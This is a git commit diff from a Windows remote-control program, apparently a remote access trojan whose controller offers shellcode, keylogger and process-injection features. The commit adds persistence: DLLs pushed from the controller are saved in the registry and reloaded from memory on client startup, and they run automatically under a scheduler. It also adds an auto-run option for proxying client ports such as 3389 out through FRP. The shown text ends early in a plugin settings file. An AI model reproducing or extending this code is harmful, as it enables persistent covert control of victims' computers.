Feature: DLL executing parameters persistence and DLL auto-run

This commit is contained in:
yuanyuanxiang
2026-04-24 23:19:40 +02:00
parent 655b1934a4
commit c38ccbe7ca
15 changed files with 847 additions and 12 deletions

View File

@@ -21,6 +21,7 @@
#include "common/file_upload.h" #include "common/file_upload.h"
#include "common/DateVerify.h" #include "common/DateVerify.h"
#include "common/LANChecker.h" #include "common/LANChecker.h"
#include "common/scheduler.h"
extern "C" { extern "C" {
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
} }
@@ -75,6 +76,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb; m_hKeyboard = kb;
// C2C 初始化 // C2C 初始化
if (conn) m_MyClientID = conn->clientID; if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
} }
BOOL IsThreadsRunning(ThreadInfo* threads, int count) BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -623,10 +629,93 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return ""; return "";
} }
int CKernelManager::RestoreMemDLL() {
iniFile cfg(CLIENT_PATH);
binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = cfg.EnumValues("settings", ".md5");
int count = 0;
for (const auto& key : md5Keys) {
// 获取 MD5 值
std::string md5 = cfg.GetStr("settings", key);
if (md5.empty())
continue;
// 从 "xxx.md5" 提取 "xxx"
std::string name = key.substr(0, key.size() - 4);
// 获取对应的二进制数据
std::string binData = bin.GetStr("settings", name + ".bin");
if (binData.empty())
continue;
// 解析 DllExecuteInfo提取 DLL 数据
const int sz = 1 + sizeof(DllExecuteInfo);
if (binData.size() < sz)
continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < sz + info->Size)
continue;
// 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++;
// 检查是否为启动执行模式
if (info->Schedule.Mode == SCH_MODE_STARTUP) {
// 复制一份用于检查和执行
DllExecuteInfo infoCopy = *info;
ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun");
std::string countStr = cfg.GetStr("settings", name + ".count");
if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr);
}
if (!countStr.empty()) {
sch.CurrentCount = (unsigned char)std::stoi(countStr);
}
// 检查是否应该执行
if (YamaTaskEngine::ShouldExecute(&sch)) {
Mprintf("Auto-start DLL on startup: %s\n", name.c_str());
char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0;
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
// 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch);
cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
}
// 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) {
if (sch.Config.Startup.Interval == 0) {
// 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++;
}
cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
}
}
}
}
return count;
}
template<typename T = DllExecuteInfo> template<typename T = DllExecuteInfo>
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
{ {
static std::map<std::string, std::vector<BYTE>> m_MemDLL; std::map<std::string, std::vector<BYTE>> &m_MemDLL(This->m_MemDLL);
const int sz = 1 + sizeof(T); const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE; if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1); const T* info = (T*)(szBuffer + 1);
@@ -649,6 +738,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
} }
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) { if (info->Size == ulLength - sz) {
// 收到完整 DLL 数据,保存到注册表
if (md5[0]) { if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size); m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
@@ -660,7 +750,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
} }
data = szBuffer + sz; data = szBuffer + sz;
} }
if (data) { else if (data) {
// 只收到参数(无 DLL 数据),更新 .bin 中的参数部分
binFile bin(CLIENT_PATH);
std::string binData = bin.GetStr("settings", info->Name + std::string(".bin"));
if (binData.size() >= sz) {
// 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params in registry: %s\n", info->Name);
}
}
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL)); CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);

View File

@@ -156,6 +156,9 @@ public:
std::string m_hash; std::string m_hash;
std::string m_hmac; std::string m_hmac;
uint64_t m_MyClientID = 0; uint64_t m_MyClientID = 0;
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg) void SetLoginMsg(const std::string& msg)
{ {
m_LoginMsg = msg; m_LoginMsg = msg;

View File

@@ -69,6 +69,7 @@ typedef struct {
#endif #endif
#include "ip_enc.h" #include "ip_enc.h"
#include "scheduler.h"
#include <time.h> #include <time.h>
#include <unordered_map> #include <unordered_map>
@@ -1145,7 +1146,8 @@ typedef struct DllExecuteInfo {
char Md5[33]; // DLL MD5 char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL char Is32Bit; // 是否32位DLL
char Reseverd[18]; unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
} DllExecuteInfo; } DllExecuteInfo;
typedef struct DllExecuteInfoNew { typedef struct DllExecuteInfoNew {
@@ -1156,7 +1158,8 @@ typedef struct DllExecuteInfoNew {
char Md5[33]; // DLL MD5 char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL char Is32Bit; // 是否32位DLL
char Reseverd[18]; unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
char Parameters[400]; char Parameters[400];
} DllExecuteInfoNew; } DllExecuteInfoNew;
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)

View File

@@ -359,6 +359,88 @@ public:
} }
m_keyCache.clear(); m_keyCache.clear();
} }
// 枚举 m_SubKeyPath 下的所有子键名称
// suffix: 只返回以该后缀结尾的键名,默认为空表示返回所有键
std::vector<std::string> EnumSubKeys(const std::string& suffix = "") const
{
std::vector<std::string> result;
// 使用缓存获取 m_SubKeyPath 的句柄
auto it = m_keyCache.find(m_SubKeyPath);
HKEY hKey = NULL;
if (it != m_keyCache.end()) {
hKey = it->second;
} else {
if (RegOpenKeyExA(m_hRootKey, m_SubKeyPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return result;
}
m_keyCache[m_SubKeyPath] = hKey;
}
char keyName[256];
DWORD keyNameSize;
DWORD index = 0;
while (true) {
keyNameSize = sizeof(keyName);
LONG ret = RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(keyName);
} else {
std::string name(keyName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
// 枚举指定 MainKey 下的所有值名称
// suffix: 只返回以该后缀结尾的值名,默认为空表示返回所有值
std::vector<std::string> EnumValues(const std::string& MainKey, const std::string& suffix = "") const
{
std::vector<std::string> result;
HKEY hKey = GetCachedKey(MainKey);
if (!hKey)
return result;
char valueName[256];
DWORD valueNameSize;
DWORD index = 0;
while (true) {
valueNameSize = sizeof(valueName);
LONG ret = RegEnumValueA(hKey, index, valueName, &valueNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(valueName);
} else {
std::string name(valueName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
}; };
// 配置读取类: 注册表二进制配置(带键句柄缓存) // 配置读取类: 注册表二进制配置(带键句柄缓存)

104
common/scheduler.h Normal file
View File

@@ -0,0 +1,104 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#pragma pack(push, 1)
// 严格定义 16 字节结构
typedef struct {
unsigned char Mode; // [1 字节] 0=None, 1=Startup, 2=Daily...
unsigned char Flags; // [1 字节] 标志位 (bit0:禁用)
union {
// Mode 1: 启动执行 + 间隔控制
struct {
unsigned int Interval;
} Startup;
// Mode 2 & 3: 定时模式
struct {
unsigned short TargetMin;
unsigned char DaysMask;
unsigned char Reserved;
} Timed;
} Config;
unsigned __int64 LastRunTime;
unsigned char CurrentCount;
unsigned char MaxCount;
} ScheduleParams;
#pragma pack(pop)
#ifdef _WIN32
#include <windows.h>
class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
unsigned __int64 now = GetCurrentFT();
// --- 2. 启动执行模式 (Mode 1) ---
if (p->Mode == SCH_MODE_STARTUP) {
static bool bSessionLocked = false;
if (bSessionLocked) return false;
if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) {
unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL;
if (diffSec < (unsigned __int64)p->Config.Startup.Interval) {
return false;
}
}
bSessionLocked = true;
return true;
}
// --- 3. 每日定时逻辑 (Mode 2) ---
if (p->Mode == SCH_MODE_DAILY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
}
return false;
}
static void MarkExecuted(ScheduleParams* p) {
p->LastRunTime = GetCurrentFT();
if (p->MaxCount > 0 && p->CurrentCount < 255) {
p->CurrentCount++;
}
}
private:
static unsigned __int64 GetCurrentFT() {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
return ((unsigned __int64)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
}
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
};
#endif
#endif

Binary file not shown.

View File

@@ -69,6 +69,7 @@
#include "NotifyManager.h" #include "NotifyManager.h"
#include "NotifySettingsDlg.h" #include "NotifySettingsDlg.h"
#include "FrpsForSubDlg.h" #include "FrpsForSubDlg.h"
#include "PluginSettingsDlg.h"
#include "common/key.h" #include "common/key.h"
#include "UIBranding.h" #include "UIBranding.h"
@@ -345,7 +346,8 @@ bool IsDll64Bit(BYTE* dllBase)
} }
// 返回:读取的字节数组指针(需要手动释放) // 返回:读取的字节数组指针(需要手动释放)
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD }) DllInfo* ReadPluginDll(const std::string& filename,
const DllExecuteInfo& execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD, {}, {}, 0, 0, sizeof(DllExecuteInfo)})
{ {
// 打开文件(以二进制模式) // 打开文件(以二进制模式)
std::ifstream file(filename, std::ios::binary | std::ios::ate); std::ifstream file(filename, std::ios::binary | std::ios::ate);
@@ -413,7 +415,7 @@ DllInfo* ReadTinyRunDll(int pid)
} }
// 设置输出参数 // 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize); auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid }; DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid, 0, sizeof(DllExecuteInfo)};
memcpy(info.Name, name.c_str(), name.length()); memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length()); memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize]; BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
@@ -433,7 +435,7 @@ DllInfo* ReadFrpcDll(int callType)
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize); BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数 // 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize); auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType }; DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)};
memcpy(info.Name, name.c_str(), name.length()); memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length()); memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize]; BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
@@ -604,6 +606,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_tinyDLL = NULL; m_tinyDLL = NULL;
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins"); auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end()); m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
// 应用插件配置(从 JSON 文件加载并更新 DllExecuteInfo 参数)
CPluginSettingsDlg::PatchDllList(m_DllList);
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000); m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
} }
@@ -821,6 +825,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin) ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin) ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
@@ -851,6 +856,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub) ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare) ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl) ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -937,6 +943,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]); m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]); m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]); m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]); m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]); m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]); m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
@@ -5254,6 +5261,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
} else if (std::string(info->Name) == FRPC_DLL_NAME) { } else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll(info->CallType); auto frpc = ReadFrpcDll(info->CallType);
Buffer* buf = frpc->Data; Buffer* buf = frpc->Data;
DllExecuteInfo* target = frpc->GetInfo();
target->Schedule.Mode = info->Schedule.Mode;
// 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留 // 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留
if (cmd == CMD_EXECUTE_DLL_NEW) { if (cmd == CMD_EXECUTE_DLL_NEW) {
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1); DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
@@ -8478,6 +8487,12 @@ void CMy2015RemoteDlg::OnToolReloadPlugins()
m_DllList = ReadAllDllFilesWindows(path); m_DllList = ReadAllDllFilesWindows(path);
} }
void CMy2015RemoteDlg::OnToolPluginSettings()
{
CPluginSettingsDlg dlg(m_DllList, this);
dlg.DoModal();
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{ {
CString clientIP(ip.c_str()); CString clientIP(ip.c_str());
@@ -8734,7 +8749,7 @@ std::string GetAuthKey(const char* token, long long timestamp)
// 基于FRP将客户端端口代理到主控程序的公网 // 基于FRP将客户端端口代理到主控程序的公网
// 例如代理3389端口即可通过 mstsc.exe 进行远程访问 // 例如代理3389端口即可通过 mstsc.exe 进行远程访问
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard) void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard, bool autoRun)
{ {
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
std::string pwd = THIS_CFG.GetStr("frp", "token", ""); std::string pwd = THIS_CFG.GetStr("frp", "token", "");
@@ -8763,6 +8778,8 @@ void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput); int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
DllExecuteInfo* info = frpc->GetInfo();
info->Schedule.Mode = autoRun ? SCH_MODE_STARTUP : SCH_MODE_NONE;
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort); FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
@@ -8808,6 +8825,11 @@ void CMy2015RemoteDlg::OnProxyPort()
} }
void CMy2015RemoteDlg::OnProxyPortAutorun()
{
ProxyClientTcpPort(false, true);
}
void CMy2015RemoteDlg::OnProxyPortStd() void CMy2015RemoteDlg::OnProxyPortStd()
{ {
ProxyClientTcpPort(true); ProxyClientTcpPort(true);

View File

@@ -35,6 +35,9 @@ typedef struct DllInfo {
{ {
SAFE_DELETE(Data); SAFE_DELETE(Data);
} }
DllExecuteInfo* GetInfo() {
return (DllExecuteInfo*)(Data->Buf() + 1);
}
} DllInfo; } DllInfo;
typedef struct FileTransformCmd { typedef struct FileTransformCmd {
@@ -449,6 +452,7 @@ public:
afx_msg void OnShellcodeAesBin(); afx_msg void OnShellcodeAesBin();
afx_msg void OnShellcodeTestAesBin(); afx_msg void OnShellcodeTestAesBin();
afx_msg void OnToolReloadPlugins(); afx_msg void OnToolReloadPlugins();
afx_msg void OnToolPluginSettings();
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
@@ -457,7 +461,7 @@ public:
afx_msg void OnParamPrivacyWallpaper(); afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2(); afx_msg void OnParamFileV2();
afx_msg void OnParamRunAsUser(); afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard); void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort(); afx_msg void OnProxyPort();
afx_msg void OnHookWin(); afx_msg void OnHookWin();
afx_msg void OnRunasService(); afx_msg void OnRunasService();
@@ -481,4 +485,5 @@ public:
afx_msg void OnMasterTrail(); afx_msg void OnMasterTrail();
afx_msg void OnCancelShare(); afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl(); afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun();
}; };

View File

@@ -337,6 +337,7 @@
<ClInclude Include="NotifySettingsDlg.h" /> <ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" /> <ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="proxy\HPSocket.h" /> <ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" /> <ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" /> <ClInclude Include="proxy\ProxyConnectServer.h" />
@@ -385,6 +386,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile> </ClCompile>
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c"> <ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>

View File

@@ -80,6 +80,7 @@
<ClCompile Include="FeatureLimitsDlg.cpp" /> <ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="msvc_compat.c" /> <ClCompile Include="msvc_compat.c" />
<ClCompile Include="PluginSettingsDlg.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\client\Audio.h" /> <ClInclude Include="..\..\client\Audio.h" />
@@ -182,6 +183,7 @@
<ClInclude Include="WebServiceAuth.h" /> <ClInclude Include="WebServiceAuth.h" />
<ClInclude Include="WebPage.h" /> <ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" /> <ClInclude Include="SimpleWebSocket.h" />
<ClInclude Include="PluginSettingsDlg.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="2015Remote.rc" /> <ResourceCompile Include="2015Remote.rc" />

View File

@@ -0,0 +1,361 @@
#include "stdafx.h"
#include "PluginSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "resource.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins)
END_MESSAGE_MAP()
